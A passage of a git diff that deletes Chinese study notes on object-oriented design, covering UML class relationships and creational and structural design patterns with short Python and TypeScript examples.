- public void drive() { - car.run(); - } - public void setCar(Car c){ - car = c; - } -} -class Car { - public void run(){} -} -``` - -## 4. 组合 (Composition) - -相比于聚合,组合是一种耦合度更强的关联关系。存在组合关系]的类表示“整体-部分”的关联关系,“整体”负责“部分”的生命周期,他们之间是共生共死的;并且“部分”单独存在时没有任何意义。 - -对比与聚合关系,我们可以将前面的例子变为下面的场景: - -1. 车是一辆私家车,是司机财产的一部分,**强调的是人财产的部分性**,则相同的代码即可表示聚合关系。 -2. 车是司机必须有的财产,要想成为一个司机必须要现有财产,车要是没了,司机也不想活了。而且司机要是不干司机了,这车也就没了。 - -**所以,关联、聚合、组合只能配合语义,结合上下文才能够判断出来,而只给出一段代码让我们判断是关联,聚合,还是组合关系,则是无法判断的。** - -**用 UML 类图表示为:** - - - -img - -Java 代码: - - - -```java -class Driver { - private Car car = null; - public Driver(Car car) { - this.car = car; - } - public void drive() { - car.run(); - } -} -class Car { - public void run(){} -} -``` - -再举一个恰当点的例子: - -人和灵魂,身体之间是组合关系,当人的生命周期开始时,必须同时拥有灵魂和肉体,当人的生命周期结束时,灵魂肉体随之消亡;无论是灵魂还是肉体,都不能单独存在,他们必须作为人的组成部分存在。 - -**用 UML 类图表示为 -** - -img - -## 5. 继承 (Generalization) - -继承表示类与类 (或者接口与接口) 之间的父子关系。在 Java 中,用关键字 extends 表示继承关系。 - -思考下面的场景: - -人是一种高级动物,不仅可以像动物可以吃和睡觉,而且还可以学习。 - -**用 UML 类图表示为:** - -img - -Java 代码表示为: - -```java -class Animal { - public void eat(){} - public void sleep(){} -} -class People extends Animal { - public void study(){} -} -``` - -## 6. 实现 (Implementation) - -表示一个类实现一个或多个接口的方法。接口定义好操作的集合,由实现类去完成接口的具体操作, 在 Java 中使用 implements 表示。在 Java 中,如果实现了某个接口,那么就必须实现接口中所有的方法。 - -比如一个人可以吃饭和学习,那么就可以定义一个人的接口。让具体的人去实现它。 - -**用 UML 类图表示为:** - -img - - - -Java 代码: - -```java -interface IPeople { - public void eat(); - public void study(); -} -class People implements IPeople { - public void eat(){ - } - public void study(){ - } -} -``` diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/\345\210\233\345\273\272\345\236\213\346\250\241\345\274\217 Creation Pattern.md" "b/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/\345\210\233\345\273\272\345\236\213\346\250\241\345\274\217 Creation Pattern.md" deleted file mode 100644 index 87b3c11c..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/\345\210\233\345\273\272\345\236\213\346\250\241\345\274\217 Creation Pattern.md" +++ /dev/null @@ -1,605 +0,0 @@ ---- -date: 2021-12-03 -category: -- 设计模式 ---- - -# 创建型模式 Creation Pattern - -## Abstract Factory 抽象工厂 - -**抽象工厂模式**是一种创建型设计模式, 它能创建一系列相关的对象, 而无需指定其具体类。 - -The Abstract factory pattern is a creative design pattern that creates a series of related objects without specifying their concrete classes. - -抽象工厂设计模式 - -1. **抽象产品** (Abstract Product) 为构成系列产品的一组不同但相关的产品声明接口。 -2. **具体产品** (Concrete Product) 是抽象产品的多种不同类型实现。 所有变体 (维多利亚/现代) 都必须实现相应的抽象产品 (椅子/沙发)。 -3. **抽象工厂** (Abstract Factory) 接口声明了一组创建各种抽象产品的方法。 -4. **具体工厂** (Concrete Factory) 实现抽象工厂的构建方法。 每个具体工厂都对应特定产品变体, 且仅创建此种产品变体。 -5. 尽管具体工厂会对具体产品进行初始化, 其构建方法签名必须返回相应的*抽象*产品。 这样, 使用工厂类的客户端代码就不会与工厂创建的特定产品变体耦合。 **客户端** (Client) 只需通过抽象接口调用工厂和产品对象, 就能与任何具体工厂/产品变体交互。 - -### 场景 - -- 如果代码需要与多个不同系列的相关产品交互, 但是由于无法提前获取相关信息, 或者出于对未来扩展性的考虑, 你不希望代码基于产品的具体类进行构建, 在这种情况下, 你可以使用抽象工厂。 -- 如果你有一个基于一组抽象方法的类, 且其主要功能因此变得不明确, 那么在这种情况下可以考虑使用抽象工厂模式。 - -### 优缺点 - -**Advantage** - -- 你可以确保同一工厂生成的产品相互匹配。 -- 你可以避免客户端和具体产品代码的耦合coupling。 -- *单一职责原则*。 你可以将产品生成代码抽取到同一位置, 使得代码易于维护。 -- *开闭原则*。 向应用程序中引入新产品变体时, 你无需修改客户端代码。 - -**Disadvantage** - -- 由于采用该模式需要向应用中引入众多接口和类, 代码可能会比之前更加复杂。 - -### 关系 - -- 在许多设计工作的初期都会使用[工厂方法模式](https://refactoringguru.cn/design-patterns/factory-method) (较为简单, 而且可以更方便地通过子类进行定制), 随后演化为使用[抽象工厂模式](https://refactoringguru.cn/design-patterns/abstract-factory)、 [原型模式](https://refactoringguru.cn/design-patterns/prototype)或[生成器模式](https://refactoringguru.cn/design-patterns/builder) (更灵活但更加复杂)。 -- [生成器](https://refactoringguru.cn/design-patterns/builder)重点关注如何分步生成复杂对象。 [抽象工厂](https://refactoringguru.cn/design-patterns/abstract-factory)专门用于生产一系列相关对象。 *抽象工厂*会马上返回产品, *生成器*则允许你在获取产品前执行一些额外构造步骤。 -- [抽象工厂模式](https://refactoringguru.cn/design-patterns/abstract-factory)通常基于一组[工厂方法](https://refactoringguru.cn/design-patterns/factory-method), 但你也可以使用[原型模式](https://refactoringguru.cn/design-patterns/prototype)来生成这些类的方法。 -- 当只需对客户端代码隐藏子系统创建对象的方式时, 你可以使用[抽象工厂](https://refactoringguru.cn/design-patterns/abstract-factory)来代替[外观模式](https://refactoringguru.cn/design-patterns/facade)。 -- 你可以将[抽象工厂](https://refactoringguru.cn/design-patterns/abstract-factory)和[桥接模式](https://refactoringguru.cn/design-patterns/bridge)搭配使用。 如果由*桥接*定义的抽象只能与特定实现合作, 这一模式搭配就非常有用。 在这种情况下, *抽象工厂*可以对这些关系进行封装, 并且对客户端代码隐藏其复杂性。 -- [抽象工厂](https://refactoringguru.cn/design-patterns/abstract-factory)、 [生成器](https://refactoringguru.cn/design-patterns/builder)和[原型](https://refactoringguru.cn/design-patterns/prototype)都可以用[单例模式](https://refactoringguru.cn/design-patterns/singleton)来实现。 - -### Code - -```python -from __future__ import annotations -from abc import ABC, abstractmethod - - -class AbstractFactory(ABC): - - @abstractmethod - def create_product_a(self) -> AbstractProductA: - pass - - @abstractmethod - def create_product_b(self) -> AbstractProductB: - pass - - -class ConcreteFactory1(AbstractFactory): - - def create_product_a(self) -> AbstractProductA: - return ConcreteProductA1() - - def create_product_b(self) -> AbstractProductB: - return ConcreteProductB1() - - -class ConcreteFactory2(AbstractFactory): - - def create_product_a(self) -> AbstractProductA: - return ConcreteProductA2() - - def create_product_b(self) -> AbstractProductB: - return ConcreteProductB2() - - -class AbstractProductA(ABC): - - @abstractmethod - def useful_function_a(self) -> str: - pass - - -class ConcreteProductA1(AbstractProductA): - def useful_function_a(self) -> str: - return "The result of the product A1." - - -class ConcreteProductA2(AbstractProductA): - def useful_function_a(self) -> str: - return "The result of the product A2." - - -class AbstractProductB(ABC): - - @abstractmethod - def useful_function_b(self) -> None: - """ - Product B is able to do its own thing... - """ - pass - - @abstractmethod - def another_useful_function_b(self, collaborator: AbstractProductA) -> None: - pass - - -class ConcreteProductB1(AbstractProductB): - def useful_function_b(self) -> str: - return "The result of the product B1." - - def another_useful_function_b(self, collaborator: AbstractProductA) -> str: - result = collaborator.useful_function_a() - return f"The result of the B1 collaborating with the ({result})" - - -class ConcreteProductB2(AbstractProductB): - def useful_function_b(self) -> str: - return "The result of the product B2." - - def another_useful_function_b(self, collaborator: AbstractProductA): - result = collaborator.useful_function_a() - return f"The result of the B2 collaborating with the ({result})" - - -def client_code(factory: AbstractFactory) -> None: - product_a = factory.create_product_a() - product_b = factory.create_product_b() - - print(f"{product_b.useful_function_b()}") - print(f"{product_b.another_useful_function_b(product_a)}", end="") - - -if __name__ == "__main__": - print("Client: Testing client code with the first factory type:") - client_code(ConcreteFactory1()) - - print("\n") - - print("Client: Testing the same client code with the second factory type:") - client_code(ConcreteFactory2()) -``` - -## Factory Method 工厂方法 - -**工厂方法模式**是一种创建型设计模式, 其在父类中提供一个创建对象的方法, 允许子类决定实例化对象的类型。 - -The factory method pattern is a creative design pattern that provides a method to create an object in a parent class, allowing subclasses to determine the type of object to instantiate. - -工厂方法模式结构 - -1. **产品** (Product) 将会对接口进行声明。 对于所有由创建者及其子类构建的对象, 这些接口都是通用的。 - -2. **具体产品** (Concrete Products) 是产品接口的不同实现。 - -3. **创建者** (Creator) 类声明返回产品对象的工厂方法。 该方法的返回对象类型必须与产品接口相匹配。 - - 你可以将工厂方法声明为抽象方法, 强制要求每个子类以不同方式实现该方法。 或者, 你也可以在基础工厂方法中返回默认产品类型。 - - 注意, 尽管它的名字是创建者, 但它最主要的职责并**不是**创建产品。 一般来说, 创建者类包含一些与产品相关的核心业务逻辑。 工厂方法将这些逻辑处理从具体产品类中分离出来。 打个比方, 大型软件开发公司拥有程序员培训部门。 但是, 这些公司的主要工作还是编写代码, 而非生产程序员。 - -4. **具体创建者** (Concrete Creators) 将会重写基础工厂方法, 使其返回不同类型的产品。 - - 注意, 并不一定每次调用工厂方法都会**创建**新的实例。 工厂方法也可以返回缓存、 对象池或其他来源的已有对象。 - -### 场景 - -- 当你在编写代码的过程中, 如果无法预知对象确切类别及其依赖关系时, 可使用工厂方法。 -- 如果你希望用户能扩展你软件库或框架的内部组件, 可使用工厂方法。 -- 如果你希望复用现有对象来节省系统资源, 而不是每次都重新创建对象, 可使用工厂方法。 - -### 优缺点 - -**Advantage** - -- 你可以避免创建者和具体产品之间的紧密耦合。 -- *单一职责原则*。 你可以将产品创建代码放在程序的单一位置, 从而使得代码更容易维护。 -- 开闭原则。 无需更改现有客户端代码, 你就可以在程序中引入新的产品类型。 - -**Disadvantage** - -- 应用工厂方法模式需要引入许多新的子类, 代码可能会因此变得更复杂。 最好的情况是将该模式引入创建者类的现有层次结构中。 - -### 关系 - -- 在许多设计工作的初期都会使用[工厂方法模式](https://refactoringguru.cn/design-patterns/factory-method) (较为简单, 而且可以更方便地通过子类进行定制), 随后演化为使用[抽象工厂模式](https://refactoringguru.cn/design-patterns/abstract-factory)、 [原型模式](https://refactoringguru.cn/design-patterns/prototype)或[生成器模式](https://refactoringguru.cn/design-patterns/builder) (更灵活但更加复杂)。 -- [抽象工厂模式](https://refactoringguru.cn/design-patterns/abstract-factory)通常基于一组[工厂方法](https://refactoringguru.cn/design-patterns/factory-method), 但你也可以使用[原型模式](https://refactoringguru.cn/design-patterns/prototype)来生成这些类的方法。 -- 你可以同时使用[工厂方法](https://refactoringguru.cn/design-patterns/factory-method)和[迭代器模式](https://refactoringguru.cn/design-patterns/iterator)来让子类集合返回不同类型的迭代器, 并使得迭代器与集合相匹配。 -- [原型](https://refactoringguru.cn/design-patterns/prototype)并不基于继承, 因此没有继承的缺点。 另一方面, *原型*需要对被复制对象进行复杂的初始化。 [工厂方法](https://refactoringguru.cn/design-patterns/factory-method)基于继承, 但是它不需要初始化步骤。 -- [工厂方法](https://refactoringguru.cn/design-patterns/factory-method)是[模板方法模式](https://refactoringguru.cn/design-patterns/template-method)的一种特殊形式。 同时, *工厂方法*可以作为一个大型*模板方法*中的一个步骤。 - -### Code - -```python -from abc import ABC, abstractmethod - - -class Creator(ABC): - @abstractmethod - def factory_method(self): - pass - - def some_operation(self) -> str: - product = self.factory_method() - result = f"Creator: The same creator's code has just worked with {product.operation()}" - return result - -class ConcreteCreator1(Creator): - def factory_method(self) -> Product: - return ConcreteProduct1() - - -class ConcreteCreator2(Creator): - def factory_method(self) -> Product: - return ConcreteProduct2() - - -class Product(ABC): - @abstractmethod - def operation(self) -> str: - pass - - -class ConcreteProduct1(Product): - def operation(self) -> str: - return "{Result of the ConcreteProduct1}" - - -class ConcreteProduct2(Product): - def operation(self) -> str: - return "{Result of the ConcreteProduct2}" - - -def client_code(creator: Creator) -> None: - print(f"Client: I'm not aware of the creator's class, but it still works.\n" - f"{creator.some_operation()}", end="") - - -if __name__ == "__main__": - print("App: Launched with the ConcreteCreator1.") - client_code(ConcreteCreator1()) - print("\n") - - print("App: Launched with the ConcreteCreator2.") - client_code(ConcreteCreator2()) -``` - -## Builder 生成器 - -**生成器模式**是一种创建型设计模式, 使你能够分步骤创建复杂对象。 该模式允许你使用相同的创建代码生成不同类型和形式的对象。 - -Builder pattern is a creative design pattern that allows you to create complex objects in steps. This pattern allows you to generate objects of different types and forms using the same creation code. - -生成器设计模式结构 - -1. **生成器** (Builder) 接口声明在所有类型生成器中通用的产品构造步骤。 -2. **具体生成器** (Concrete Builders) 提供构造过程的不同实现。 具体生成器也可以构造不遵循通用接口的产品。 -3. **产品** (Products) 是最终生成的对象。 由不同生成器构造的产品无需属于同一类层次结构或接口。 -4. **主管** (Director) 类定义调用构造步骤的顺序, 这样你就可以创建和复用特定的产品配置。 -5. **客户端** (Client) 必须将某个生成器对象与主管类关联。 一般情况下, 你只需通过主管类构造函数的参数进行一次性关联即可。 此后主管类就能使用生成器对象完成后续所有的构造任务。 但在客户端将生成器对象传递给主管类制造方法时还有另一种方式。 在这种情况下, 你在使用主管类生产产品时每次都可以使用不同的生成器。 - -### 场景 - -- 使用生成器模式可避免 “重叠构造函数 (telescopic constructor)” 的出现。 -- 当你希望使用代码创建不同形式的产品 (例如石头或木头房屋) 时, 可使用生成器模式。 -- 使用生成器构造组合树或其他复杂对象。 - -### 优缺点 - -- 你可以分步创建对象, 暂缓创建步骤或递归运行创建步骤。 -- 生成不同形式的产品时, 你可以复用相同的制造代码。 -- 单一职责原则(Single responsibility principle)。 你可以将复杂构造代码从产品的业务逻辑中分离出来。 - -**Disadvantage:** - -- 由于该模式需要新增多个类, 因此代码整体复杂程度会有所增加。 - -### 关系 - -- 在许多设计工作的初期都会使用[工厂方法模式](https://refactoringguru.cn/design-patterns/factory-method) (较为简单, 而且可以更方便地通过子类进行定制), 随后演化为使用[抽象工厂模式](https://refactoringguru.cn/design-patterns/abstract-factory)、 [原型模式](https://refactoringguru.cn/design-patterns/prototype)或[生成器模式](https://refactoringguru.cn/design-patterns/builder) (更灵活但更加复杂)。 -- [生成器](https://refactoringguru.cn/design-patterns/builder)重点关注如何分步生成复杂对象。 [抽象工厂](https://refactoringguru.cn/design-patterns/abstract-factory)专门用于生产一系列相关对象。 *抽象工厂*会马上返回产品, *生成器*则允许你在获取产品前执行一些额外构造步骤。 -- 你可以在创建复杂[组合模式](https://refactoringguru.cn/design-patterns/composite)树时使用[生成器](https://refactoringguru.cn/design-patterns/builder), 因为这可使其构造步骤以递归的方式运行。 -- 你可以结合使用[生成器](https://refactoringguru.cn/design-patterns/builder)和[桥接模式](https://refactoringguru.cn/design-patterns/bridge): *主管*类负责抽象工作, 各种不同的*生成器*负责*实现*工作。 -- [抽象工厂](https://refactoringguru.cn/design-patterns/abstract-factory)、 [生成器](https://refactoringguru.cn/design-patterns/builder)和[原型](https://refactoringguru.cn/design-patterns/prototype)都可以用[单例模式](https://refactoringguru.cn/design-patterns/singleton)来实现。 - -### Code:star: - -> Use the Builder Pattern to generate a Mac computer product and an Lenovo computer. (The computer product has CPU, ram, display and keyboard properties). Write a test class to test the properties of the generated product. - -```python -from __future__ import annotations -from abc import ABC, abstractmethod -from typing import Any - - -class Builder(ABC): - - @property - @abstractmethod - def product(self) -> None: - pass - - @abstractmethod - def produce_cpu(self) -> None: - pass - - @abstractmethod - def produce_ram(self) -> None: - pass - - @abstractmethod - def produce_display(self) -> None: - pass - - @abstractmethod - def produce_keyboard(self) -> None: - pass - - -class MacComputerBuilder(Builder): - def __init__(self) -> None: - self._product = MacComputer() - self.reset() - - def reset(self) -> None: - pass - - @property - def product(self) -> MacComputer: - product = self._product - self.reset() - return product - - def produce_cpu(self) -> None: - self._product.set_cpu('A13') - - def produce_display(self) -> None: - self._product.set_display('Dell') - - def produce_keyboard(self) -> None: - self._product.set_keyboard('MA887') - - def produce_ram(self) -> None: - self._product.set_ram('9987') - - -class LenovoComputerBuilder: - def __init__(self) -> None: - self._product = LenovoComputer() - self.reset() - - def reset(self) -> None: - pass - - @property - def product(self) -> LenovoComputer: - product = self._product - self.reset() - return product - - def produce_cpu(self) -> None: - self._product.set_cpu('IntelI8') - - def produce_display(self) -> None: - self._product.set_display('DellAAA') - - def produce_keyboard(self) -> None: - self._product.set_keyboard('asd') - - def produce_ram(self) -> None: - self._product.set_ram('asd') - - -class Computer: - def __init__(self): - self.cpu = 'A13' - self.ram = '' - self.display = '' - self.keyboard = '' - - def set_ram(self, ram): - self.ram = ram - - def set_cpu(self, cpu): - self.cpu = cpu - - def set_display(self, display): - self.display = display - - def set_keyboard(self, keyboard): - self.keyboard = keyboard - - def list_parts(self) -> None: - print(f"Product parts:\n{self.cpu}\n{self.ram}\n{self.display}\n{self.keyboard}") - - -class MacComputer(Computer): - def __init__(self) -> None: - super().__init__() - self.cpu = 'A13' - - -class LenovoComputer(Computer): - def __init__(self) -> None: - super().__init__() - self.cpu = 'Intel_i8' - - -class Director: - - def __init__(self) -> None: - self._builder = None - - @property - def builder(self) -> Builder: - return self._builder - - @builder.setter - def builder(self, builder: Builder) -> None: - self._builder = builder - - def build_full_computer(self) -> None: - self.builder.produce_keyboard() - self.builder.produce_ram() - self.builder.produce_cpu() - self.builder.produce_display() - - -if __name__ == "__main__": - director = Director() - - print("Basic product MacComputer") - builder = MacComputerBuilder() - director.builder = builder - director.build_full_computer() - builder.product.list_parts() - - print("Basic product LenovoComputer") - builder2 = LenovoComputerBuilder() - director.builder = builder2 - director.build_full_computer() - builder2.product.list_parts() - -``` - -## 原型模式 Prototype (Clone) - -**原型模式**是一种创建型设计模式, 使你能够复制已有对象, 而又无需使代码依赖它们所属的类。 - -The prototype pattern is a creative design pattern that allows you to copy existing objects without having to make your code dependent on the class to which they belong. - -原型设计模式的结构 - -1. **原型** (Prototype) 接口将对克隆方法进行声明。 在绝大多数情况下, 其中只会有一个名为 `clone`克隆的方法。 -2. **具体原型** (Concrete Prototype) 类将实现克隆方法。 除了将原始对象的数据复制到克隆体中之外, 该方法有时还需处理克隆过程中的极端情况, 例如克隆关联对象和梳理递归依赖等等。 -3. **客户端** (Client) 可以复制实现了原型接口的任何对象。 - -### 应用场景 - -- 如果你需要复制一些对象, 同时又希望代码独立于这些对象所属的具体类, 可以使用原型模式。 -- 如果子类的区别仅在于其对象的初始化方式, 那么你可以使用该模式来减少子类的数量。 别人创建这些子类的目的可能是为了创建特定类型的对象。 - -### 优缺点 - -- 你可以克隆对象, 而无需与它们所属的具体类相耦合。 -- 你可以克隆预生成原型, 避免反复运行初始化代码。 -- 你可以更方便地生成复杂对象。 -- 你可以用继承以外的方式来处理复杂对象的不同配置。 - -**Disadvantage** - -- 克隆包含循环引用的复杂对象可能会非常麻烦。 - -### 关系 - -- 在许多设计工作的初期都会使用[工厂方法模式](https://refactoringguru.cn/design-patterns/factory-method) (较为简单, 而且可以更方便地通过子类进行定制), 随后演化为使用[抽象工厂模式](https://refactoringguru.cn/design-patterns/abstract-factory)、 [原型模式](https://refactoringguru.cn/design-patterns/prototype)或[生成器模式](https://refactoringguru.cn/design-patterns/builder) (更灵活但更加复杂)。 -- [原型](https://refactoringguru.cn/design-patterns/prototype)并不基于继承, 因此没有继承的缺点。 另一方面, *原型*需要对被复制对象进行复杂的初始化。 [工厂方法](https://refactoringguru.cn/design-patterns/factory-method)基于继承, 但是它不需要初始化步骤。 - -### Code:star: - -```python -import copy - - -class Log: - def clone(self): - return copy.deepcopy(self) - - -class WeeklyLog(Log): - __name = "" - __date = "2000-01-02" - __content = "" - - def __init__(self, name, date, content): - self.__name = name - self.__date = date - self.__content = content - - def display(self): - print(f"{self.__name} {self.__date} {self.__content}") - - def set_date(self, date): - self.__date = date - - -class Client: - def operation(): - a = WeeklyLog('log1', '2000-02-19', 'fail!') - - b = a.clone() - b.set_date('2012-12-21') - - a.display() - b.display() - - -def main(): - clint = Client - clint.operation() - - -if __name__ == '__main__': - main() -``` - -## Singleton 单例模式 ! - -**单例模式**是一种创建型设计模式, 让你能够保证一个类只有一个实例, 并提供一个访问该实例的全局节点。 - -The singleton pattern is a creative design pattern that allows you to ensure that there is only one instance of a class and provide a global node to access that instance. - -单例模式结构 - -1. **单例** (Singleton) 类声明了一个名为 `get­Instance`获取实例的静态方法来返回其所属类的一个相同实例。 - - 单例的构造函数必须对客户端 (Client) 代码隐藏。 调用 `获取实例`方法必须是获取单例对象的唯一方式。 - -### 场景 - -- 如果程序中的某个类对于所有客户端只有一个可用的实例, 可以使用单例模式。 -- 如果你需要更加严格地控制全局变量, 可以使用单例模式。 - -### 优缺点 - -- 你可以保证一个类只有一个实例。 -- 你获得了一个指向该实例的全局访问节点。 -- 仅在首次请求单例对象时对其进行初始化。 - -**Disadvantage** - -- 违反了单一职责原则。 该模式同时解决了两个问题。 -- 单例模式可能掩盖不良设计, 比如程序各组件之间相互了解过多等。 -- 该模式在多线程环境下需要进行特殊处理, 避免多个线程多次创建单例对象。 -- 单例的客户端代码单元测试可能会比较困难, 因为许多测试框架以基于继承的方式创建模拟对象。 由于单例类的构造函数是私有的, 而且绝大部分语言无法重写静态方法, 所以你需要想出仔细考虑模拟单例的方法。 要么干脆不编写测试代码, 或者不使用单例模式。 - -### 关系 - -- [外观模式](https://refactoringguru.cn/design-patterns/facade)类通常可以转换为[单例模式](https://refactoringguru.cn/design-patterns/singleton)类, 因为在大部分情况下一个外观对象就足够了。 -- 如果你能将对象的所有共享状态简化为一个享元对象, 那么[享元模式](https://refactoringguru.cn/design-patterns/flyweight)就和[单例](https://refactoringguru.cn/design-patterns/singleton)类似了。 但这两个模式有两个根本性的不同。 - 1. 只会有一个单例实体, 但是*享元*类可以有多个实体, 各实体的内在状态也可以不同。 - 2. 单例对象可以是可变的。 享元对象是不可变的。 - -### Code:star: - -```typescript -class Singleton { - private static instance: Singleton; - - private constructor() { } - - public static getInstance(): Singleton { - if (!Singleton.instance) { - Singleton.instance = new Singleton(); - } - - return Singleton.instance; - } - - public someBusinessLogic() { - } -} - -function clientCode() { - const s1 = Singleton.getInstance(); - const s2 = Singleton.getInstance(); - - if (s1 === s2) { - console.log('Singleton works, both variables contain the same instance.'); - } else { - console.log('Singleton failed, variables contain different instances.'); - } -} - -clientCode(); -``` diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/\347\211\233\345\256\242\350\256\276\350\256\241\346\250\241\345\274\217\351\227\256\351\242\230\346\200\273\347\273\223.md" "b/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/\347\211\233\345\256\242\350\256\276\350\256\241\346\250\241\345\274\217\351\227\256\351\242\230\346\200\273\347\273\223.md" deleted file mode 100644 index facf00e6..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/\347\211\233\345\256\242\350\256\276\350\256\241\346\250\241\345\274\217\351\227\256\351\242\230\346\200\273\347\273\223.md" +++ /dev/null @@ -1,94 +0,0 @@ -# 牛客设计模式问题总结 - -### 1. 创建型模式 - -在软件工程中,创建型模式是处理对象创建的设计模式,试图根据实际情况使用合适的方式创建对象。基本的对象创建方式可能会导致设计上的问题,或增加设计的复杂度。创建型模式通过以某种方式控制对象的创建来解决问题。 - -### 2. 模式分类 - -#### 结构型模式: - -(1)代理(Proxy)模式:为某对象提供一种代理以控制对该对象的访问。即客户端通过代理间接地访问该对象,从而限制、增强或修改该对象的一些特性。 - -(2)适配器(Adapter)模式:将一个类的接口转换成客户希望的另外一个接口,使得原本由于接口不兼容而不能一起工作的那些类能一起工作。(当已有类能满足目前的需求但和当前的系统兼容性比较差的情况) - -(3) 桥接(Bridge)模式:将抽象与实现分离,使它们可以独立变化。它是用组合关系代替继承关系来实现的,从而降低了抽象和实现这两个可变维度的耦合度。 - -(4)装饰(Decorator)模式:动态地给对象增加一些职责,即增加其额外的功能。 - -(5)外观(Facade)模式:为多个复杂的子系统提供一个一致的接口,使这些子系统更加容易被访问。 - -(6)享元(Flyweight)模式:运用共享技术来有效地支持大量细粒度对象的复用。 - -(7)组合(Composite)模式:将对象组合成树状层次结构,使用户对单个对象和组合对象具有一致的访问性。 - -#### 创建型模式: - -(1)工厂方法() - -(2)原型() - -(3)抽象工厂() - -(4)生成器() - -(5)单例() - -#### 行为模式: - -(1)责任链 - -(2)命令 - -(3)迭代器 - -(4)中介者 - -(5)备忘录 - -(6)观察则 - -(7)状态 - -(8)策略 - -(9)模板方法 - -(10)访问者 - - -### 3. 单例模式 - -- 单例对于不频繁创建和销毁的对象只会增加系统开支,因为它一直存在,但是对于频繁创建和销毁的却可以在一定程度上减少开支 -- 需要频繁创建的一些类,使用单例可以降低系统的内存压力,减少 GC - -### 4. 原型模式 - -- 原型模式是一种创建型设计模式,Prototype模式允许一个对象再创建另外一个可定制的对象,根本无需知道任何如何创建的细节。 - - 工作原理是:通过将一个原型对象传给那个要发动创建的对象,这个要发动创建的对象通过请求原型对象拷贝它们自己来实施创建 - -### 5. 外观模式 - -- 在外观模式中,一个子系统的外部与内部通信通过统一的外观对象进行。 -- 在外观模式中,客户类只需要直接与外观对象进行交互。 -- 外观模式是迪米特法则的一种具体实现。 - -单例模式的原则: 一个类有且只有一个职责。如果这个类需要变更,那么有且至于一个让其变化的原因。 - -迪米特法则:最小知识原则, 一个实体应当尽量少地与其他实体之间发生相互作用,使得系统功能模块相对独立。 - -### 6. 设计模式一般用来解决什么样的问题? - -同一问题的不同表相。 - -> 设计模式是一套被反复使用的、多数人知晓的、经过分类编目的、代码设计经验的总结。是用来解决重复利用的解决方案,可以对之后的问题进行简单的修改、降低成本来进行使用,设计模式要为了使设计适应变化,并且要保持流畅、简单和持续性。 - -### 7. 设计模式的两大主题 - -系统复用与系统扩展 - -### 8. 策略模式 - -- Strategy角色负责决定实现策略所必须的接口 -- ConcreteStrategy角色负责实现Strategy角色的接口,即负责实现具体的策略(战略、方向、方法和算法) diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/\347\273\223\346\236\204\345\236\213\346\250\241\345\274\217 Structural Patterns.md" "b/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/\347\273\223\346\236\204\345\236\213\346\250\241\345\274\217 Structural Patterns.md" deleted file mode 100644 index c19056f8..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/\347\273\223\346\236\204\345\236\213\346\250\241\345\274\217 Structural Patterns.md" +++ /dev/null @@ -1,776 +0,0 @@ ---- -date: 2021-12-03 -category: -- 设计模式 ---- -# 结构型模式 Structural Patterns - -> 文章内容整理自:[refactoringguru.cn/](https://refactoringguru.cn/) -> -> 附带常见模式代码实现 - -## Adapter 适配器 - -**适配器模式**是一种结构型设计模式, 它能使接口不兼容的对象能够相互合作。 - -The adapter pattern is a structural design pattern that enables objects with incompatible interfaces to cooperate. - -适配器设计模式的结构(对象适配器) - -1. **客户端** (Client) 是包含当前程序业务逻辑的类。 -2. **客户端接口** (Client Interface) 描述了其他类与客户端代码合作时必须遵循的协议。 -3. **服务** (Service) 中有一些功能类 (通常来自第三方或遗留系统)。 客户端与其接口不兼容, 因此无法直接调用其功能。 -4. **适配器** (Adapter) 是一个可以同时与客户端和服务交互的类: 它在实现客户端接口的同时封装了服务对象。 适配器接受客户端通过适配器接口发起的调用, 并将其转换为适用于被封装服务对象的调用。 -5. 客户端代码只需通过接口与适配器交互即可, 无需与具体的适配器类耦合。 因此, 你可以向程序中添加新类型的适配器而无需修改已有代码。 这在服务类的接口被更改或替换时很有用: 你无需修改客户端代码就可以创建新的适配器类。 - -适配器设计模式(类适配器) - -### 场景 - -- 当你希望使用某个类, 但是其接口与其他代码不兼容时, 可以使用适配器类。 -- 如果您需要复用这样一些类, 他们处于同一个继承体系, 并且他们又有了额外的一些共同的方法, 但是这些共同的方法不是所有在这一继承体系中的子类所具有的共性。 - -### 优缺点 - -**Advantages:** - -- _单一职责原则_你可以将接口或数据转换代码从程序主要业务逻辑中分离。 -- *开闭原则*。 只要客户端代码通过客户端接口与适配器进行交互, 你就能在不修改现有客户端代码的情况下在程序中添加新类型的适配器。 - -**Disadvantages:** - -- 代码整体复杂度增加, 因为你需要新增一系列接口和类。 有时直接更改服务类使其与其他代码兼容会更简单。 - -### 关系 - -- [桥接模式](https://refactoringguru.cn/design-patterns/bridge)通常会于开发前期进行设计, 使你能够将程序的各个部分独立开来以便开发。 另一方面, [适配器模式](https://refactoringguru.cn/design-patterns/adapter)通常在已有程序中使用, 让相互不兼容的类能很好地合作。 -- [适配器](https://refactoringguru.cn/design-patterns/adapter)可以对已有对象的接口进行修改, [装饰模式](https://refactoringguru.cn/design-patterns/decorator)则能在不改变对象接口的前提下强化对象功能。 此外, *装饰*还支持递归组合, *适配器*则无法实现。 -- [适配器](https://refactoringguru.cn/design-patterns/adapter)能为被封装对象提供不同的接口, [代理模式](https://refactoringguru.cn/design-patterns/proxy)能为对象提供相同的接口, [装饰](https://refactoringguru.cn/design-patterns/decorator)则能为对象提供加强的接口。 -- [外观模式](https://refactoringguru.cn/design-patterns/facade)为现有对象定义了一个新接口, [适配器](https://refactoringguru.cn/design-patterns/adapter)则会试图运用已有的接口。 *适配器*通常只封装一个对象, *外观*通常会作用于整个对象子系统上。 -- 